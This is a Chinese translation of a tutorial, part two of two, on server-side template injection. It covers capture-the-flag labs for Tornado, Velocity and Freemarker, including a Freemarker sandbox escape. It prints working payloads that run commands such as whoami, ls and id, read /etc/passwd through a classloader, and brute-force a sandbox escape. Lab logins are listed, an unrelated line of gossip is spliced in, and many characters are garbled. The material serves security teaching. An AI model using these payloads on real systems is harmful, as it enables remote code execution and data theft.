詳解模板注入漏洞(下)

作者 |?原作者gosecure,翻譯整理shan66
在上一篇文章中,我們?yōu)樽x者詳細介紹了模版注入漏洞的概念,模版引擎的識別方法,以及兩種模版引擎相關(guān)的注入漏洞。在本文中,我們將繼續(xù)為讀者介紹其他四種模版引擎相關(guān)的注入漏洞。(上一篇傳送門:詳解模板注入漏洞(上))
6. LAB 3: Tornado (Python)

簡介
Tornado模板是Tornado(一款流行的Python Web框架)中的一個引擎。針對該模版的練習非常簡單,這表明:有時候僅需閱讀庫文檔就能找到強大的功能。
模板語法基礎(chǔ)知識
Hello?{{userName}}
基本數(shù)據(jù)綁定
攻擊面
它比Jinja2簡單多了。因為它支持import指令。這個指令的實現(xiàn)類似于Python的import。
{%import?os%}
import指令前后需要加上{…}括號。
下面展示的是一個完整的payload,它用于導入os模塊,并執(zhí)行方法popen(即打開進程)。
{%import?os%}
{{os.popen("whoami").read()}}
練習
為了完成這個練習,請連接到Web服務器http://template-injection.gosec.co:8013/。
這個服務用于模擬下列情形:每次提交表單時都會發(fā)送一封郵件。
使用以上方法就可以利用這里的漏洞。
您可以訪問服務器上的flag.txt文件了嗎?
7. LAB 4: Velocity (Java)

簡介
Velocity是最流行的Java模板引擎之一。而Freemarker則是另一個非常流行的選擇。在本文中,我們之所以選擇Velocity,是因為的利用難度要大一些。
模板語法基礎(chǔ)知識
參考資料:Velocity的官方文檔
攻擊面
James Kettles發(fā)現(xiàn)的原始payload需要激活一個名為ClassTool的可選插件。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
在本文中,將不會啟用該插件。
Velocity支持為變量賦值。
#set(?$foo?=?"bar"?)
$foo
這個模式用于訪問我們的目標類型。下面是一個實現(xiàn)命令執(zhí)行功能的payload,但是這里不需要啟用任何可選的插件。
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('ls'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i?in?[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
練習
為了完成這個練習,請連接到Web服務器http://template-injection.gosec.co:8013/。
要訪問管理功能,請使用憑據(jù)admin/123456進行登陸。

知乎砍出正義一刀,PDD祭出終極防御:“供應商員工”!輕松化解攻勢!
使用以上方法就可以利用該漏洞。
您可以訪問服務器上的flag.txt文件了嗎?
8. LAB 5: Freemarker (Java)

簡介
Freemarker是另一款流行的Java模板引擎。不過,它的發(fā)展速度要比Velocity快得多。
模板語法基礎(chǔ)知識
${message}
${user.displayName}
參考資料:Freemarker官方文檔
攻擊面
內(nèi)置函數(shù)
Freemarker具有一個特定的內(nèi)置函數(shù)列表(在Freemarker文檔中通常稱為built-in)。這些內(nèi)置函數(shù)可以作為變量的后綴使用。例如,
abs,?absoluteTemplateName,?ancestors,?api,
boolean,?byte,
c,?capFirst,?capitalize,?ceiling,?children,?chopLinebreak,?chunk,?contains,?counter,
date,?dateIfUnknown,?datetime,?datetimeIfUnknown,?default,?double,?dropWhile,
endsWith,?ensureEndsWith,?ensureStartsWith,?esc,?eval,?exists,
filter,?first,?float,?floor,
groups,
hasApi,?hasContent,?hasNext,?html,
ifExists,?index,?indexOf,?int,?interpret,?isBoolean,?isCollection,?isCollectionEx,?isDate,?isDateLike,?isDateOnly,?isDatetime,?isDirective,?isEnumerable,?isEvenItem,?isFirst,?isHash,?isHashEx,?isIndexable,?isInfinite,?isLast,?isMacro,?isMarkupOutput,?isMethod,?isNan,?isNode,?isNumber,?isOddItem,?isSequence,?isString,?isTime,?isTransform,?isUnknownDateLike,?iso,?isoH,?isoHNZ,?isoLocal,?isoLocalH,?isoLocalHNZ,?isoLocalM,?isoLocalMNZ,?isoLocalMs,?isoLocalMsNZ,?isoLocalNZ,?isoM,?isoMNZ,?isoMs,?isoMsNZ,?isoNZ,?isoUtc,?isoUtcFZ,?isoUtcH,?isoUtcHNZ,?isoUtcM,?isoUtcMNZ,?isoUtcMs,?isoUtcMsNZ,?isoUtcNZ,?itemCycle,?itemParity,?itemParityCap,
jString,?join,?jsString,?jsonString,
keepAfter,?keepAfterLast,?keepBefore,?keepBeforeLast,?keys,
last,?lastIndexOf,?leftPad,?length,?long,?lowerAbc,?lowerCase,
map,?markupString,?matches,?max,?min,
namespace,?new,?nextSibling,?noEsc,?nodeName,?nodeNamespace,?nodeType,?number,?numberToDate,?numberToDatetime,?numberToTime,
parent,?previousSibling,
removeBeginning,?removeEnding,?replace,?reverse,?rightPad,?root,?round,?rtf,
seqContains,?seqIndexOf,?seqLastIndexOf,?sequence,?short,?size,?sort,?sortBy,?split,?startsWith,?string,?substring,?switch,
takeWhile,?then,?time,?timeIfUnknown,?trim,?truncate,?truncateC,?truncateCM,?truncateM,?truncateW,?truncateWM,
uncapFirst,?upperAbc,?upperCase,?url,?urlPath,
values,
webSafe,?withArgs,?withArgsLast,?wordList,
xhtml,?xml
所有內(nèi)置函數(shù)的詳細清單
從安全的角度來看,大多數(shù)內(nèi)置函數(shù)都非常簡單且乏味。但有一件事很特別,那就是new函數(shù)。我們可以在官方文件中閱讀以下注意事項。
“這個內(nèi)置函數(shù)可能存在安全問題,因為模板作者可以創(chuàng)建任意Java對象,然后使用它們,只要它們實現(xiàn)了TemplateModel的話。此外,模板作者甚至還可以為沒有實現(xiàn)TemplateModel的類觸發(fā)靜態(tài)初始化?!辟Y料來源:Freemarker docs: Built-in new
Execute類
按照官方描述,我們可以調(diào)用exec()函數(shù)(TemplateModel的入口方法)。通過其設(shè)計,Execute類允許我們執(zhí)行命令并以字符串的形式獲得命令執(zhí)行結(jié)果。
<#assign?ex="freemarker.template.utility.Execute"?new()>?${?ex("id")?}
練習
為了完成這個練習,請連接到Web服務器http://template-injection.gosec.co:8025/。
要訪問管理功能,請使用憑據(jù)admin/hackfest進行登陸。

通過以上方法就可以利用該漏洞。
您可以訪問服務器上的flag.txt文件了嗎?
潛在的防御機制
值得一提的是,F(xiàn)reemarker確實提供了一種方法來限制模板中的類引用,接下來的練習將按照文檔中的描述實現(xiàn)一個ClassResolver。
“您可以(從2.3.17版本開始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver設(shè)置來限制這個內(nèi)置寒水可以訪問哪些類。更多信息請參見Java API文檔。如果您允許不太可信的用戶上傳模板,那么您務必深入研究一下這個話題。”資料來源:Freemarker docs: Built-in new
9. LAB 6: Freemaker (沙箱逃逸)

Freemarker中的沙盒
Freemarker具有過濾哪些類允許訪問的功能。例如,需要實現(xiàn)TemplateClassResolver類的子類,這個類將決定模板中的類引用是否被允許。
<#list?.data_model?keys?as?key>
- ${key}
#list>
或者:
${.data_model.keySet()}
查找對類加載器的引用
Classloader類的實例有可能給我們提供遠程代碼執(zhí)行(RCE)權(quán)限。例如,類加載器可以從外部提供方法加載類(Java字節(jié)碼)。
以下是可能返回Classloader的常見位置列表。
java.lang.Class.getClassLoader()
java.lang.Thread.getCurrentClassLoader()
java.lang.ProtectionDomain.getClassLoader()
javax.servlet.ServletContext.getClassLoader()
org.osgi.framework.wiring.BundleWiring.getClassLoader()
org.springframework.context.ApplicationContext.getClassLoader()
這些API將轉(zhuǎn)換為以下Freemarker語法形式。
//java.lang.Object.getClass()?->?java.lang.Class.getClassLoader()
${any_object.class.classLoader}
//javax.servlet.ServletRequest?->?javax.servlet.ServletContext.getClassLoader()
${request.servletContext.classLoader}
并非所有的類加載器都是相同的
盡管不同的類加載器可能有一個公共的子類,但是,它們的實現(xiàn)卻差別很大。不同的Web容器(托管Java應用的Web服務器)在運行時將使用不同的類加載器。因此,我們需要調(diào)整我們的payload來鎖定正確的目標。
讀取文件/目錄列表
<#assign?uri?=?classLoader.getResource("META-INF").toURI()?>
<#assign?url?=?uri.resolve("file:///etc/passwd").toURL()?>
<#assign?bytes?=?url.openConnection().inputStream.readAllBytes()?>
${bytes}
(Payload來源:Room for Escape: Scribbling Outside the Lines of Template Security)
在我們的測試中,我們發(fā)現(xiàn)到字節(jié)數(shù)組不會自動轉(zhuǎn)換為字符串。規(guī)避該限制的一種方法是每次提取一個字節(jié)。
${bytes[0]}
${bytes[1]}
${bytes[2]}
[...]
別忘了,字節(jié)是以十進制格式打印的。
通用方法
Oleksandr Mirosh和Alvaro Mu?oz 在他們的文章中詳細介紹了Web容器特有的各種鏈條。這些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想尋找Freemarker之外的沙盒的逃逸技術(shù),這些都是一個很好的靈感來源。
然而,如果您的目標是利用當前的模板引擎,則存在一個通用的payload(也是來自上面提及的同一篇文章),適用于Freemarker 2.3.29以及更低版本(2020年3月以及修復了該漏洞)。為此,您需要在數(shù)據(jù)模型中找到一個作為對象的變量。
<#assign?classloader=<這里是一個模板,它將對數(shù)據(jù)模型中的所有變量進行暴力枚舉。
<#list?.data_model?as?key,?object_test>
Testing?"${key}":
<#attempt>
<#assign?classloader=object_test.class.protectionDomain.classLoader>
<#assign?owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign?dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign?ec=classloader.loadClass("freemarker.template.utility.Execute")>
Shell?!?(
${dwf.newInstance(ec,null)("id")}
)
<#recover>
failed
#attempt>
#list>
練習
為了完成這個練習,請連接到Web服務器http://template-injection.gosec.co:8026/。
該應用程序與之前的基本相同,唯一區(qū)別在于:它被配置為只能訪問有限的類,因此,這里將無法直接使用Execute類。
要訪問管理功能,請使用憑證admin/hackfest進行登陸。
這個應用程序看上去與之前的應用程序非常相似。最后,請驗證您是否連接到了8026端口。
10. 結(jié)束語
事實上,由于模板引擎的功能是如此強大,以至于必須將其視為腳本來對待。而腳本需要具有非常好的沙箱保護功能,否則的話,就需要通過用戶權(quán)限來限制對這些具有安全風險功能的訪問。因為在很多情況下,它們可能會危及底層操作系統(tǒng)。
參考文獻
Server-Side Template Injection [Slides] | [White-paper] by James Kettle
Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Mu?oz
Exploitation of Server Side Template Injection with Craft CMS (Twig template)
Cheatsheet – Flask & Jinja2 SSTI
PayloadsAllTheThings: Community Github repository
往期推薦

